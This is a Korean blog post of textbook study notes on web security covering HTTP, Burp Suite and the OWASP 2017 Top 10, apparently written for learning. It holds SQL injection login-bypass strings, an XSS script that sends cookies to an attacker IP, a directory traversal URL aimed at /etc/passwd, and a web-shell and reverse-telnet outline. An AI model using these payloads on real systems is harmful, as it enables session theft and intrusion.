[정보보안개론] 4장. 웹 보안

Sujung Shin·2023년 4월 24일
0

01 웹과 HTTP의 이해


웹의 이해


처음 웹 = 하이퍼텍스트 프로젝트

HTTP 프로토콜

웹에서는 HTTP, SMTP, POP, FTP, Telnet 등 여러 프로토콜이 쓰인다.

  • 기본 컨셉이 stateless(연결 보장x)
  • HTTP는 0.9버전부터 사용

    HTTP 0.9 = 하나의 웹 페이지 안에서도 텍스트와 그림이 반복적으로 Connect 과정을 거쳐야 하는 등 매우 비효율적 := HTTP 1.0, 1.1버전.
    HTTP 1.1버전부터는, 한 번의 Connect 과정 후에 Request와 Response 과정을 반복할 수 있게 되었다.

HTTP Request

🎀 GET 방식


🎈 POST 방식


갱신의 목적으로, URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터 전송
게시글을 수정/삭제/저장 할 때는 POST방식 사용
URL을 통해 노출되지 않기 때문에 최소한의 보안성 O

기타 방식


  • HEAD방식: 서버 측의 데이터를 검색, 요청하는 데 사용
  • PUT 방식: 메시지에 포함된 데이터를 지정한 URI장소에 그 이름으로 저장
  • DELETE 방식: URI에 저장된 자원을 서버에서 지울 수 있게 한다.
  • TRACE 방식: 요구 메시지의 최종 수신처까지 루프백을 검사하는 용도로 쓰인다. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시, 게이트웨이의 중간 경로와 최종 수신 서버까지 이르는 경로를 알아내는 데 쓰인다.

HTTP Response


HTTP Request에 대한 응답 패킷
전달할 데이터의 형식, 길이와 같은 추가 정보가 MIME형식으로 표현되어 있으며, 헤더 정보 뒤에는 실제 데이터(HTML 또는 이미지 파일)이 전달된다.



2 웹 서비스의 이해

프론트 엔드(Front-End)


정적인 페이지: HTML, 바꿀 수 있는 가능성이 매우 낮다
동적인 웹 서비스: 자바스크립트, 비주얼 베이직 자바스크립트(Client side Script)

백엔드(Back-End)


웹 서비스를 제공하는 데 필요한 REST API를 제공하는 영역
JAVA(spring), .NET, 파이썬(django), 루비, 자바스크립트(node js) 등이 사용된다.
클라이언트에 구현된 기능에 필요한 인자를 전달받고, 이 인자에 따라 함수처럼 그에 대한 결과만 전달한다.
함수는 URL에 따라 구분, JSON형태로 클라이언트에게 전달



3 웹 해킹

웹 취약점 스캐너를 통한 정보 수집

웹 프록시를 통한 취약점 분석

툴: burp suite
클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해 확인하면서 수정할 수 있다.

서버→클라이언트로 전달되는 패킷 변조


패킷을 볼 수 있을 뿐만 아니라 패킷(HTML) 위/변조 O
해킹하려는 대상이 클라이언트 쪽에 있는 경우
서버에서 클라이언트에 정보를 전송했다가, 이를 다시 전송받아 처리하는 경우

클라이언트→서버로 전달되는 패킷 변조




4 웹의 주요 취약점


국제웹보안표준기구(OWASP) 에서는 각 분야별 상위 10가지 주요 취약점을 발표하고 있다.
2017년 기준으로 포스팅한 것이다.


A1 Injection Attack(명령 삽입 공격)


클라이언트의 요청을 처리하기 위해 서버가 전송받는 인수에는 특정 명령을 실행할 수 있는 코드가 포함되어 있는 경우가 있다.
이를 적절히 필터링하는 처리 과정을 수행하지 못하면, 삽입 공격에 대한 취약점이 생긴다.
명령 삽입 공격은 SQL, OS, LDAP 등 웹을 통해 명령을 전달하는 어떤 경우에도 적용될 수 있다.

웹 서버에서 DB로 전송되는 SQL 쿼리에는 아이디, 패스워드, 검색어 등 여러 가지 인수가 사용되는데, SQL Injection 공격은 전송되는 인수에 추가적인 실행을 위한 코드를 넣는 것을 말한다.

보통의 서버가 DB에 날리는 쿼리문은 다음과 같다.
즉, 어떤 수단을 쓰든 SQL의 결과 값에 NULL이 나오지 않고 출력 값이 나오게 하면, 로그인에 성공할 수 있다. SQL문에서는 where로 입력되는 조건문을 항상 참으로 만드려면, 조건 값에 ' or ''='을 입력하면 된다.

SELECT * FROM = "user"
WHERE e_mail_address = 'christer10@ewhain.net' and password = '' or ''=''
//해당 sql문은 password 부분은 or 조건으로 인해 항상 참이다. = 사용자 인증 성공

즉, SQL injection은 SQL의 where절을 항상 참으로 만드는 조건문을 작성하여 DB에 쿼리를 날리게 하는 것이다.

  1. ' or ''='
  2. ' or ' 1'='1
  3. ' or ''='--

과 같이 결과적으로 참이 되는 SQL 문은 무엇이든 SQL injection에 악용될 수 있다.

A2 인증 및 세션 관리 취약점


인증이나 세션 관리 기능을 올바르게 구현하지 않았다면, 공격자가 로그인을 하지 않고도 서비스 페이지에 접근할 수 있게 하거나 공격자가 다른 사용자 아이디로 접근할 수 있게 해주는 것과 마찬가지의 효과를 지닌다.


  • 취약한 패스워드 설정

보통 웹 개발자와 사용자가 일치하지 않는다는 문제이기 때문에, 관리자 패스워드를 변경하는 인터페이스가 별도로 만들어져있지 않고 DB를 직접 변경하는 것과 같은 원시적 형태인 경우가 많다.


  • 사용자 데이터를 이용한 인증

기본적으로 최초 인증 후에는 인증과 신분 증명 역할을 클라이언트에게 넘겨주기 때문에 발생한다. 단순히 편리하다는 이유로 서버가 통제해야 할 사항을 클라이언트에게 넘겨주면 안 된다.

A3 XSS(Cross-site Scripting) 취약점


victim의 웹 브라우저 안에서 공격자가 작성한 스크립트가 실행되는 형태이다.
웹 브라우저 안에서는 적절한 검증 없이 실행되기 때문에 사용자의 세션을 탈취하거나 악의적인 사이트로 이동할 수 있다.
쿠키 값이 전달되는 건지도 모르고, victim의 쿠키값이 192.168.137.128 웹 서버에 전달되도록 한다.

<script>
  location.href="http://192.168.137.128/XSS/GetCookie.asp?cookie="+document.cookie
</script>

A4 취약한 접근제어(Broken Access Control) 취약점


인증된 사용자가 수행할 수 있는 제한이 제대로 적용되지 않는 것을 의미한다.
attacker은 이러한 취약점을 악용하여 사용자의 계정 접근, 중요 파일 보기, 사용자 데이터 수정, 접근 권한 변경 등 권한 없는 기능을 사용하거나 data에 접근할 수 있다.

URL 접근 제한 실패


📂 디렉터리 탐색(directory traversal)


게시판 등에서 첨부 파일을 내려받을 때는 다음과 같이 백 엔드 서비스를 주로 사용한다.

http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp

사업계획.hwp가 아닌 다른 첨부 파일의 다운로드를 요청하려면 어떻게 해야 할까? 에를 들어 업로드한 파일이 http://www.wishfree.com/board/upload에 존재하고, 게시판에서 글 목록을 보여주는 list.jsp 파일이 board 하위 디렉터리에 위치한다면, 주소 창에 다음과 같은 주소를 입력하면 된다.

http://www.wishfree.com/board/download.jsp?filename=../list.jsp

이처럼 소스코드를 공격할 수도 있지만, 공격 대상이 시스템 내부의 중요한 파일이 될 수도 있다.
예컨대, 유닉스 시스템의 경우에는 etc/passwd 파일에 사용자 계정과 관련된 중요한 내용이 있다.
따라서 해당 파일에 접근하려면, 루트 디렉터리를 알아내야 하는데, 현재 디렉터리에서 몇 번째 상위에 위치하는지 알 수 없으므로 무차별적으로 ..와 /를 대입한다.


  • 공격 방지

.. 나 / 문자열에 대한 필터링을 한다.

A5 보안 설정 오류(Security Misconfiguration)


📃 디렉터리 리스팅(directory listing)


웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것을 말한다. (Index of)

백업 및 임시파일 존재


미흡한 주석 관리


일반적으로 프로그램의 주석은 개발자만 볼 수 있지만, 웹 프록시를 이용하면 일반 사용자도 볼 수 있다. 주요 로직에 대한 설명, 디렉터리 구조, 테스트 소스 정보, 아이디와 패스워드 등 중요한 정보가 기록될 수 있다. 따라서 웹 애플리케이션을 개발할 때는 주석에 정보를 기록할 때 주의하여야 한다.

파일 업로드 제한 부재


클라이언트에서 서버로 임의의 파일을 보낼 수 있다는 것은 웹 서버에서 가장 취약한 점이다.
attacker 입장에서는 웹 서버에 대한 통제권을 빼앗는 '리버스 텔넷(reverse telnet)' 통제권을

🔎 리버스 텔넷(Reverse Telnet)


리버스 텔넷은 웹 해킹으로, 시스템 권한을 획득한 해당 시스템에 텔넷과 같이 직접 명령을 입력하고, 확인할 수 있는 셸을 획득하기 위한 방법으로, 방화벽이 있는 시스템을 공격할 때 주로 사용한다.
웹 서비스 포트는 80번(HTTP)이고, 텔넷 포트는 23번이다.

방화벽의 인바운드 정책은 80번 포트 외에 필요한 포트만 빼고 다 막아놓지만, 아웃바운드 정책(내부에서 외부로 나가는 패킷에 대한 정책)은 별다른 필터링을 수행하지 않는 경우가 많다.
따라서 이런 허점을 이용하여, 서버에서 공격자의 텔넷으로 접속한다.

웹 서버에서 공격자의 텔넷으로 접속하려면, 그 전에 웹 서버에서 권한을 획득해야 한다.
보통 파일 업로드 공격을 이용하는데, 웹 셸의 업로드를 통하여 시스템에 명령을 입력할 수 있는 명령 창을 얻는 것이다.

1 명령 창 획득
2 리버스 텔넷용 툴 업로드
3 공격자 pc 의 리버스 텔넷 데몬 활성화
4 획득한 명령 창을 통하여 리버스 텔넷 창을 획득

이를 막으려면
파일 업로드를 막아야한다.
asp, exe, com과 같은 실행 파일의 업로드도 막아야 한다.
내부에서 외부로 가는 불필요한 접속까지 방화벽에서 막는다.

A6 민감한 데이터 노출(Sensitive Data Exposure)


데이터베이스 테이블 단위에서 암호화를 수행해야 한다.
웹 트래픽을 암호화한다.(인터넷 뱅킹 등 보안성이 중요한 system)

A7 공격 방어 취약점(Insufficient Attack Protection)


A8 CSRF 취약점(Cross-Site Request Forgery)


특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금)를 하게 하는 공격
XSS 공격과 유사하지만,
XSS 공격은 악성 스크립트가 클라이언트에게서 실행, CSRF는 사용자가 악성 스크립트를 서버에 '요청(Request)' 한다는 차이점이 있다.

일반적으로 CSRF가 성공하려면 수정/삭제/등록하는 과정에서 사용자를 구분하는 인숫값이 존재하면 안된다. 특정 사용자를 구분하는 인수가 있으면, 한 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.

A9 취약점이 있는 컴포넌트 사용


라이브러리, 컴포넌트에 취약점이 있는지 확인/검토 필요

A10 취약한 API


보안에 취약한 API 사용은 보안 문제를 초래할 수 있음 = 충분한 검토 필요


웹의 취약점 보완

특수문자 필터링


서버 통제 적용


클라이언트 기반 통제 X(ex 자바스크립트)
why? 웹 프록시를 통해 웹 브라우저에 전달되기 때문에, 이 과정에서 변조될 가능성 O

따라서 필터링 로직은 백엔드에서 수행하여야 함

지속적인 세션 관리


URL 접근 제한에 실패하지 않으려면 모든 웹 페이지에서 세션에 대한 인증을 수행하여야 한다.
세션 인증 로직을 표준화, 이를 준수하도록 노력하여야 함

profile
백문이불여일타

0개의 댓글

관련 채용 정보